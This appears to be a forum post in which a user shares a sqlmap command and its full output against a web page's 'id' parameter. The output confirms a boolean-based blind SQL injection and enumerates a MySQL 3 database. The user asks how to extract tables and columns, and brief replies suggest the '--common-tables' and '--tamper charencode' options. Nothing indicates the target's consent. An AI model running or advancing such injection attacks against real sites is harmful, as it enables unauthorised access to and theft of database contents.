I was able to get the one database however, it didnt go any further because it says there is no schema available. please guide me to obtain tables and then columns.
sqlmap -u www.xyz.com/pro.php?id=3 --dbs --random-agent --threads 3 --no-cast
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 17:10:13
[17:10:13] [INFO] fetched random HTTP User-Agent header from file '/usr/share/sqlmap/txt/user-agents.txt': Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; Media Center PC 6.0; InfoPath.3; MS-RTC LM 8; Zune 4.7)
[17:10:13] [INFO] resuming back-end DBMS 'mysql'
[17:10:13] [INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=3 AND 3999=3999
---
[17:10:15] [INFO] the back-end DBMS is MySQL
web application technology: PHP 4.4.9, Apache
back-end DBMS: MySQL 3
[17:10:15] [WARNING] information_schema not available, back-end DBMS is MySQL < 5. database names will be fetched from 'mysql' database
[17:10:15] [INFO] fetching number of databases
[17:10:15] [INFO] retrieved:
[17:10:16] [INFO] heuristics detected web page charset 'ascii'
[17:10:17] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '--no-cast' or switch '--hex'
[17:10:17] [ERROR] unable to retrieve the number of databases
[17:10:17] [INFO] falling back to current database
[17:10:17] [INFO] fetching current database
[17:10:17] [INFO] retrieving the length of query output
[17:10:17] [INFO] resumed: 8
[17:10:17] [INFO] resumed: w007108w6
available databases [1]:
[*] w007108w6
@stamparm plz guide
-D w007108w6 --common-tables
use --tamper charencode